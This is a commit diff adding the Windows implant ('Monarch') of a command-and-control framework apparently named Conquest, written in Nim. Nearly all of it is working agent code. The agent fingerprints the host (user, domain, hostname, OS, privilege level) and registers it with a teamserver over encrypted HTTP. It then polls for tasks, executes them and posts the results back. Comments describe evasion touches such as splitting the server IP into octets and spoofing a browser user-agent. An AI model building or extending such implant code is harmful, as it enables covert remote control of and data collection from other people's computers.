Rework module system. Now modules/commands are defined in a single file each, with both the function executed by teh agent and the definition for server-side argument parsing.
This commit is contained in:
7
src/agent/README.md
Normal file
7
src/agent/README.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# Conquest Agents
|
||||
|
||||
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
|
||||
|
||||
```
|
||||
./build.sh
|
||||
```
|
||||
12
src/agent/build.sh
Normal file
12
src/agent/build.sh
Normal file
@@ -0,0 +1,12 @@
|
||||
#!/bin/bash
|
||||
|
||||
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||
nim --os:windows \
|
||||
--cpu:amd64 \
|
||||
--gcc.exe:x86_64-w64-mingw32-gcc \
|
||||
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
|
||||
-d:release \
|
||||
--outdir:"$CONQUEST_ROOT/bin" \
|
||||
-o:"monarch.x64.exe" \
|
||||
-d:agent \
|
||||
c $CONQUEST_ROOT/src/agent/main.nim
|
||||
43
src/agent/core/heartbeat.nim
Normal file
43
src/agent/core/heartbeat.nim
Normal file
@@ -0,0 +1,43 @@
|
||||
import times
|
||||
|
||||
import ../../common/[types, serialize, utils, crypto]
|
||||
|
||||
proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
||||
return Heartbeat(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_HEARTBEAT),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: uuidToUint32(config.agentId),
|
||||
seqNr: 0'u64,
|
||||
iv: generateIV(),
|
||||
gmac: default(AuthenticationTag)
|
||||
),
|
||||
listenerId: uuidToUint32(config.listenerId),
|
||||
timestamp: uint32(now().toTime().toUnix())
|
||||
)
|
||||
|
||||
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
|
||||
# Serialize check-in / heartbeat request
|
||||
packer
|
||||
.add(request.listenerId)
|
||||
.add(request.timestamp)
|
||||
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt check-in / heartbeat request body
|
||||
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
request.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.packHeader(request.header, uint32(encData.len))
|
||||
|
||||
return header & encData
|
||||
84
src/agent/core/http.nim
Normal file
84
src/agent/core/http.nim
Normal file
@@ -0,0 +1,84 @@
|
||||
import httpclient, json, strformat, asyncdispatch
|
||||
|
||||
import ../../common/[types, utils]
|
||||
|
||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define HTTP headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $registrationData.len
|
||||
})
|
||||
|
||||
let body = registrationData.toString()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return true
|
||||
|
||||
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
var responseBody = ""
|
||||
|
||||
# Define HTTP headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $checkinData.len
|
||||
})
|
||||
|
||||
let body = checkinData.toString()
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
|
||||
return responseBody
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: " & err.msg
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return ""
|
||||
|
||||
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $resultData.len
|
||||
})
|
||||
|
||||
let body = resultData.toString()
|
||||
|
||||
echo body
|
||||
|
||||
try:
|
||||
# Send binary task result data to server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: " & err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return true
|
||||
258
src/agent/core/register.nim
Normal file
258
src/agent/core/register.nim
Normal file
@@ -0,0 +1,258 @@
|
||||
import winim, os, net, strformat, strutils, registry, sugar
|
||||
|
||||
import ../../common/[types, serialize, crypto, utils]
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname(): string =
|
||||
var
|
||||
buffer = newWString(CNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameW(&buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Domain Name
|
||||
proc getDomain(): string =
|
||||
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||
return $buffer[ 0 ..< int(dwSize)]
|
||||
|
||||
# Username
|
||||
proc getUsername(): string =
|
||||
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
if getDomain() != "":
|
||||
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||
else:
|
||||
# If not domain-joined, only return USERNAME
|
||||
discard GetUsernameW(&buffer, &dwSize)
|
||||
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Current process name
|
||||
proc getProcessExe(): string =
|
||||
let
|
||||
hProcess: HANDLE = GetCurrentProcess()
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
|
||||
try:
|
||||
if hProcess != 0:
|
||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
||||
return string($buffer).extractFilename().replace("\u0000", "")
|
||||
finally:
|
||||
CloseHandle(hProcess)
|
||||
|
||||
# Current process ID
|
||||
proc getProcessId(): int =
|
||||
return int(GetCurrentProcessId())
|
||||
|
||||
# Current process elevation/integrity level
|
||||
proc isElevated(): bool =
|
||||
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
|
||||
return isAdmin()
|
||||
|
||||
# IPv4 Address (Internal)
|
||||
proc getIPv4Address(): string =
|
||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version fingerprinting
|
||||
type
|
||||
ProductType = enum
|
||||
UNKNOWN = 0
|
||||
WORKSTATION = 1
|
||||
DC = 2
|
||||
SERVER = 3
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
dwBuildNumber: ULONG
|
||||
dwPlatformId: ULONG
|
||||
szCSDVersion: array[128, WCHAR]
|
||||
wServicePackMajor: USHORT
|
||||
wServicePackMinor: USHORT
|
||||
wSuiteMask: USHORT
|
||||
wProductType: UCHAR
|
||||
wReserved: UCHAR
|
||||
|
||||
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
else:
|
||||
return "Windows 10"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
|
||||
# ProductType REG_SZ WinNT
|
||||
# Possible values are:
|
||||
# LanmanNT -> Server/Domain Controller
|
||||
# ServerNT -> Server
|
||||
# WinNT -> Workstation
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
return SERVER
|
||||
of "LanmanNT":
|
||||
return DC
|
||||
|
||||
proc getOSVersion(): string =
|
||||
|
||||
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
|
||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||
|
||||
when defined(windows):
|
||||
var osInfo: OSVersionInfoExW
|
||||
discard rtlGetVersion(osInfo)
|
||||
# echo $int(osInfo.dwMajorVersion)
|
||||
# echo $int(osInfo.dwMinorVersion)
|
||||
# echo $int(osInfo.dwBuildNumber)
|
||||
|
||||
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
|
||||
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
|
||||
# Normally, a value of 1 indicates a workstation os, while other values represent servers
|
||||
# echo $int(osInfo.wProductType).toHex
|
||||
|
||||
# We instead retrieve the
|
||||
return getWindowsVersion(osInfo, getProductType())
|
||||
else:
|
||||
return "Unknown"
|
||||
|
||||
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||
|
||||
return AgentRegistrationData(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_REGISTER),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: uuidToUint32(config.agentId),
|
||||
seqNr: 1'u64, # TODO: Implement sequence tracking
|
||||
iv: generateIV(),
|
||||
gmac: default(AuthenticationTag)
|
||||
),
|
||||
agentPublicKey: config.agentPublicKey,
|
||||
metadata: AgentMetadata(
|
||||
listenerId: uuidToUint32(config.listenerId),
|
||||
username: getUsername().toBytes(),
|
||||
hostname: getHostname().toBytes(),
|
||||
domain: getDomain().toBytes(),
|
||||
ip: getIPv4Address().toBytes(),
|
||||
os: getOSVersion().toBytes(),
|
||||
process: getProcessExe().toBytes(),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](config.sleep)
|
||||
)
|
||||
)
|
||||
|
||||
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
|
||||
# Serialize registration data
|
||||
packer
|
||||
.add(data.metadata.listenerId)
|
||||
.addVarLengthMetadata(data.metadata.username)
|
||||
.addVarLengthMetadata(data.metadata.hostname)
|
||||
.addVarLengthMetadata(data.metadata.domain)
|
||||
.addVarLengthMetadata(data.metadata.ip)
|
||||
.addVarLengthMetadata(data.metadata.os)
|
||||
.addVarLengthMetadata(data.metadata.process)
|
||||
.add(data.metadata.pid)
|
||||
.add(data.metadata.isElevated)
|
||||
.add(data.metadata.sleep)
|
||||
|
||||
let metadata = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt metadata
|
||||
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
data.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.packHeader(data.header, uint32(encData.len))
|
||||
packer.reset()
|
||||
|
||||
# Serialize the agent's public key to add it to the header
|
||||
packer.addData(data.agentPublicKey)
|
||||
let publicKey = packer.pack()
|
||||
|
||||
return header & publicKey & encData
|
||||
83
src/agent/core/task.nim
Normal file
83
src/agent/core/task.nim
Normal file
@@ -0,0 +1,83 @@
|
||||
import strutils, tables, json, strformat, sugar
|
||||
|
||||
import ../../modules/manager
|
||||
import ../../common/[types, serialize, crypto, utils]
|
||||
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
try:
|
||||
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
|
||||
except CatchableError:
|
||||
echo "[-] Command not found."
|
||||
|
||||
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
||||
|
||||
var unpacker = initUnpacker(bytes.toString)
|
||||
|
||||
let header = unpacker.unpackHeader()
|
||||
|
||||
# Packet Validation
|
||||
if header.magic != MAGIC:
|
||||
raise newException(CatchableError, "Invalid magic bytes.")
|
||||
|
||||
if header.packetType != cast[uint8](MSG_TASK):
|
||||
raise newException(CatchableError, "Invalid packet type.")
|
||||
|
||||
# TODO: Validate sequence number
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
|
||||
let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
|
||||
|
||||
if gmac != header.gmac:
|
||||
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
listenerId = unpacker.getUint32()
|
||||
timestamp = unpacker.getUint32()
|
||||
command = unpacker.getUint16()
|
||||
|
||||
var argCount = unpacker.getUint8()
|
||||
var args = newSeq[TaskArg]()
|
||||
|
||||
# Parse arguments
|
||||
var i = 0
|
||||
while i < int(argCount):
|
||||
args.add(unpacker.getArgument())
|
||||
inc i
|
||||
|
||||
return Task(
|
||||
header: header,
|
||||
taskId: taskId,
|
||||
listenerId: listenerId,
|
||||
timestamp: timestamp,
|
||||
command: command,
|
||||
argCount: argCount,
|
||||
args: args
|
||||
)
|
||||
|
||||
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
||||
|
||||
result = newSeq[Task]()
|
||||
|
||||
var unpacker = initUnpacker(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
if taskCount <= 0:
|
||||
return @[]
|
||||
|
||||
while taskCount > 0:
|
||||
|
||||
# Read length of each task and store the task object in a seq[byte]
|
||||
let
|
||||
taskLength = unpacker.getUint32()
|
||||
taskBytes = unpacker.getBytes(int(taskLength))
|
||||
|
||||
result.add(config.deserializeTask(taskBytes))
|
||||
|
||||
dec taskCount
|
||||
59
src/agent/core/taskresult.nim
Normal file
59
src/agent/core/taskresult.nim
Normal file
@@ -0,0 +1,59 @@
|
||||
import times, sugar
|
||||
import ../../common/[types, serialize, crypto, utils]
|
||||
|
||||
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
||||
|
||||
# TODO: Implement sequence tracking
|
||||
|
||||
return TaskResult(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_RESPONSE),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: task.header.agentId,
|
||||
seqNr: 1'u64,
|
||||
iv: generateIV(),
|
||||
gmac: default(array[16, byte])
|
||||
),
|
||||
taskId: task.taskId,
|
||||
listenerId: task.listenerId,
|
||||
timestamp: uint32(now().toTime().toUnix()),
|
||||
command: task.command,
|
||||
status: cast[uint8](status),
|
||||
resultType: cast[uint8](resultType),
|
||||
length: uint32(resultData.len),
|
||||
data: resultData,
|
||||
)
|
||||
|
||||
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
|
||||
# Serialize result body
|
||||
packer
|
||||
.add(taskResult.taskId)
|
||||
.add(taskResult.listenerId)
|
||||
.add(taskResult.timestamp)
|
||||
.add(taskResult.command)
|
||||
.add(taskResult.status)
|
||||
.add(taskResult.resultType)
|
||||
.add(taskResult.length)
|
||||
|
||||
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
|
||||
packer.addData(taskResult.data)
|
||||
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt result body
|
||||
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
taskResult.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.packHeader(taskResult.header, uint32(encData.len))
|
||||
|
||||
return header & encData
|
||||
109
src/agent/main.nim
Normal file
109
src/agent/main.nim
Normal file
@@ -0,0 +1,109 @@
|
||||
import strformat, os, times, system, base64
|
||||
import winim
|
||||
|
||||
import core/[task, taskresult, heartbeat, http, register]
|
||||
import ../modules/manager
|
||||
import ../common/[types, utils, crypto]
|
||||
|
||||
const ListenerUuid {.strdefine.}: string = ""
|
||||
const Octet1 {.intdefine.}: int = 0
|
||||
const Octet2 {.intdefine.}: int = 0
|
||||
const Octet3 {.intdefine.}: int = 0
|
||||
const Octet4 {.intdefine.}: int = 0
|
||||
const ListenerPort {.intdefine.}: int = 5555
|
||||
const SleepDelay {.intdefine.}: int = 10
|
||||
const ServerPublicKey {.strdefine.}: string = ""
|
||||
|
||||
proc main() =
|
||||
#[
|
||||
The process is the following:
|
||||
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
||||
2. Agent collects information relevant for the registration (using Windows API)
|
||||
3. Agent registers to the teamserver
|
||||
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
||||
]#
|
||||
|
||||
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||
# This configuration file can be dynamically generated from the teamserver management interface
|
||||
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
|
||||
echo "Missing agent configuration."
|
||||
quit(0)
|
||||
|
||||
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
||||
|
||||
# Create agent configuration
|
||||
var config: AgentConfig
|
||||
try:
|
||||
var agentKeyPair = generateKeyPair()
|
||||
let serverPublicKey = decode(ServerPublicKey).toKey()
|
||||
|
||||
config = AgentConfig(
|
||||
agentId: generateUUID(),
|
||||
listenerId: ListenerUuid,
|
||||
ip: address,
|
||||
port: ListenerPort,
|
||||
sleep: SleepDelay,
|
||||
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
||||
agentPublicKey: agentKeyPair.publicKey
|
||||
)
|
||||
|
||||
# Cleanup agent's secret key
|
||||
wipeKey(agentKeyPair.privateKey)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] " & err.msg
|
||||
|
||||
# Load agent commands
|
||||
loadModules()
|
||||
|
||||
# Create registration payload
|
||||
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
||||
let registrationBytes = config.serializeRegistrationData(registration)
|
||||
|
||||
config.register(registrationBytes)
|
||||
echo fmt"[+] [{config.agentId}] Agent registered."
|
||||
|
||||
#[
|
||||
Agent routine:
|
||||
1. Sleep Obfuscation
|
||||
2. Retrieve task from /tasks endpoint
|
||||
3. Execute task and post result to /results
|
||||
4. If additional tasks have been fetched, go to 2.
|
||||
5. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
while true:
|
||||
|
||||
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
||||
sleep(config.sleep * 1000)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo fmt"[{date}] Checking in."
|
||||
|
||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
||||
var heartbeat: Heartbeat = config.createHeartbeat()
|
||||
let
|
||||
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
|
||||
packet: string = config.getTasks(heartbeatBytes)
|
||||
|
||||
if packet.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
continue
|
||||
|
||||
let tasks: seq[Task] = config.deserializePacket(packet)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
var result: TaskResult = config.handleTask(task)
|
||||
let resultBytes: seq[byte] = config.serializeTaskResult(result)
|
||||
|
||||
config.postResults(resultBytes)
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
9
src/agent/nim.cfg
Normal file
9
src/agent/nim.cfg
Normal file
@@ -0,0 +1,9 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="D3AC0FF3"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=9999
|
||||
-d:SleepDelay=5
|
||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||
Reference in New Issue
Block a user